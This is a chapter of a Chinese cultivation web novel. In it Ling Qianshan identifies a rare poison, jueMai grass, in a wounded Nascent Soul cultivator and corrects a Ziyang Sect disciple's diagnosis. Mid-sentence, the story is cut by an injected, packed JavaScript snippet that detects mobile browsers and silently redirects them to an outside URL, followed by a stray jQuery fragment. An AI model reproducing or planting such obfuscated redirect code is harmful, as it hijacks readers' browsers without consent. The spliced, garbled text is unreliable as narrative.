凌千山其实不擅长医人,但他在紫阳宗准备参加丹宗大比时记下了很多医案。那些医案里的内容不敢说倒背如流,但至少能背个七七八八。
他越看越觉得眼前这个元婴修士的症状眼熟。
灵力无法在伤口处凝聚导致伤口无法愈合,加上各种脉象组合在一起,凌千山十分确定这就是他曾经背过的医案。
他闭上眼,那卷玉简上的文字一行一行地浮现在脑海中。
“佚名,元婴期,身中奇毒,伤口无法愈合。
初诊为泣血毒,清血散治疗无效,后反复辨证,确诊为绝脉草之毒。”
这两种毒从病症上看几乎一模一样,都会导致伤口处灵力凝滞无法自愈,伤者最终因失血过多而亡。
但泣血毒是魔域常用的毒素,目的是削弱修士的战斗力,哪怕是仙人一直流血也会虚弱,而中了泣血毒的修士可以吃下清血散解毒。
绝脉草就阴毒得多,它除了伤口无法愈合之外,还有一种隐藏的病症:毒素会沿着经脉缓慢蔓延,让经脉变得脆弱,随着时间推移寸寸断裂。
到了这一步,修士全身经脉尽断,修为尽废,只能躺在床榻上眼睁睁等着灵力枯竭,再也无力回天。
而这个案例,就是绝脉草毒第一次出现在修真界的记录。
凌千山还记得那段医案的最后一段话。
“伤者自愿以身试药六十载,终因毒发日久,缺一味灵药未及送达,不治身亡。”
这位元婴修士知道自己中了前所未有的奇毒之后,没有怨天尤人自暴自弃,而是让医修们在他身上反复尝试各种解毒方案,为后来者探明了一条生路。只是他自己,没有等到那条生路走通的那一天。
凌千山神色复杂地看着床上昏迷的元婴修士,心中感慨万千。
玄见他沉默忍不住问:“他究竟怎么了?”
凌千山回过神来,如实回答:“他中了魔域的绝脉草毒,伤口无法愈合。”
“该死的魔域。”玄愤恨的骂了一句,想到救回时逢春时他满身是血的样子,他失去太多家人了
玄深吸一口气,压下翻涌的情绪又问,“那能治疗吗?”
“能,”凌千山点头,“不过需要的灵草都很珍贵。”
绝脉草的解药配方他记得很清楚,总共七味药,每一味都不便宜。其中哪怕最便宜的那味千年血灵芝,在未来的修真界都要上百万灵石一株,还得碰运气才能买到。
玄想都没想,直接把刚拿到手的悬赏金储物袋整个塞进凌千山怀里。
他没有半分犹豫:“他是我师侄,先前被魔人偷袭受了此伤,无论如何我都想治好他。你看看够不够。”
不够他再去赚,悬赏那么多他一定可以攒够的。
凌千山把储物袋推回玄手里,认真地说:“你放心,这毒是慢性毒药,只要在五十年内找齐灵草炼制解毒药,他都没事的。就算是灵石不够,这么长的时间也能赚到。”
五十年,对于凡人来说是大半辈子,对于修士来说不过是几次闭关的时间。
他记得医案里记载,那位“佚名”伤者从中毒到去世拖了整整六十年,最终还是因为最后一味药没来得及送到才不治而亡。
他定下五十年的期限,也是给他留下余地。
玄握紧储物袋,语气郑重:“真是多亏有你,我代逢春谢过。”
凌千山摆了摆手:“既然是你的师侄,咱们就是一起的,不用说客套话。”
师侄的名字叫逢春?这个念头划过脑海的瞬间,凌千山识海中毫无预兆地剧痛起来。
逢春,时逢春,是那个在剑炉旁抓着狐明子衣摆喊“漂亮哥哥”的小孩儿,他上次入梦经历如此刻骨铭心的记忆可怎么就忘了呢?
难怪从进入这个梦境开始,他就觉得周围的一切都隐隐约约有一种诡异的熟悉感,却怎么也抓不住那种感觉,原来是他忘记了。
凌千山的身体晃了一下,视野里一片天旋地转。
玄眼疾手快地扶住他,一只手稳稳地托住他,紧张说道:“你怎么了?”
凌千山此时心里翻江倒海,上段梦境的记忆走马灯一样闪过。
上次醒来之后他记得的只有情绪,具体的细节却像被蒙上了一层浓雾,如今总算是全想起来了。
但现在不是纠结这个的时候。他压下心里的惊涛骇浪,借着玄的手臂站稳身子,摆摆手露出一个轻松的笑容:“没事,我就是有些脱力,休息调息一下就好。”
玄也不知道是信了还是不信,他的目光在凌千山脸上停留了好一会儿,最后什么也没说,只是沉默地点点头,然后不由分说地强行把他按到另一张空着的床上。
那双按在他肩上的手力道不算重,但带着一种不容拒绝的固执。
凌千山老老实实地顺着力道盘腿坐在床上,开始调息。
这时传来敲门声,叩叩两声之后,一个雌雄莫辨的声音从门外传来,带着少年人特有的清亮:“我是紫阳宗亲传弟子谢汀兰,前来给前辈治伤。”
凌千山头顶冒出一个问号。
紫阳宗谢汀兰?那不是失踪的宗主吗?他是不是能趁此机会拿到紫阳宗失传秘方洗髓丹?
不过现在不是想着这个的时候,他下意识看向玄,说起来有紫阳宗的医修在,为什么还要让他来治?
紫阳宗在这个时间可是正道宗门里医道最强的门派之一,门下的亲传弟子个个都是从医道上万里挑一的天才。
玄坦然解释道:“逢春受伤,我救他回来后临时联系了紫阳宗派弟子来看病,就追杀出去了。”
“回来的时候正好遇到你,想着你既然会医术,不如先让你看看。”
凌千山还有点懵,顺口问道:“是赵舒涵下的毒?”
玄摇了摇头,冷声道:“不是。伤逢春的魔人已经被我杀了。”
凌千山恍然大悟,难怪他来的时候天空像是染上了血色,原来真的是血啊。
所以当时的情况是玄
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17666489|203895||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
救下时逢春,带他回到了九洲城,传音紫阳宗后又追杀出去杀了伤他的人,然后的事就都知道了。
这时门外再次响起谢汀兰的声音,明显听出语气里的不耐烦:“有没有人啊?还要不要治病了?不开门我可要强行破门了!”
玄抬手一挥,解除了门口的禁制。木门吱呀一声打开,门外的谢汀兰人如其声,长得也雌雄莫辨。
五官精致得像是画出来的,眉眼既有女子的秀美又有男子的英气,皮肤白皙细腻。宽大的紫阳宗道袍罩在身上也看不出性别,身量也不高,站在门口才刚刚到玄的胸口。
谢汀兰迈步走进病房,目光在屋内扫了一圈,去掉那个站着的,一个盘腿坐在床上脸色还有点白,一个躺在床上昏迷不醒。
谢汀兰皱起眉头:“这是让我先救哪个啊?”
凌千山和玄对视一眼,空气里弥漫着一种微妙的尴尬。人家紫阳宗亲传弟子大老远飞过来,结果白跑一趟,真是失礼。
玄抱拳行礼,他态度诚恳的道歉:“抱歉,道友。伤者已经看诊过了,劳烦你白跑一趟。”
凌千山也心虚的跟着抱拳。
谢汀兰却不在乎地摆了摆手:“既然我来了,就要看看病人。这个躺着的伤势比较重,就先看他吧。”
说着他便径直走向病床,来都来了,总得看看。
他在病床边站定,手指轻轻搭在时逢春的脉门上,灵力探入经脉,他的眉头很快皱了起来。
“这是泣血?”谢汀兰收回手指,但眉头还是皱着。他虽然自信,但并不自负,这个伤者的脉象总有哪里让他觉得不太对劲。
凌千山从病床上下来,开口纠正道:“不是泣血,是绝脉草。”
谢汀兰斜眼看他,那双形状漂亮的眼睛微微眯起,有些不服气道:“你就是那个先我一步来的医者?绝脉草?不会是编了个毒草来骗人的吧,哪那么巧两种毒脉象相同?”
凌千山没有生气,只是耐心地说:“绝脉草是魔域生长的毒草,和泣血症状确实很相似,但有一种细微的差别,你摸摸他的经脉。”
谢汀兰怀疑地看了他一眼,但还是转过身,重新将手指搭上时逢春的脉门,不过这次探查的是伤者得经脉。
片刻之后,他的手指猛地一顿。
“他的经脉不对劲!”谢汀兰惊呼出声。
这是一种他从未见过的状态,伤者的经脉壁正在以极其缓慢的速度变变脆,像是被某种力量一点一点地腐蚀着。
这种变化非常隐蔽,若不是凌千山提醒,他根本不会注意到患者的经脉。
谢汀兰目光灼灼地看着凌千山,眼底的轻视一扫而空,取而代之的是求知欲。
“道友师出何门?可否讲讲这绝脉草?”谢汀兰抱拳请教,态度和刚进门时判若两人。
凌千山如实说道:“无门无派,一介散修。这绝脉草我也没有真的见过,只在书里看过。”
谢汀兰有些惋惜地叹了口气:“真是可惜。”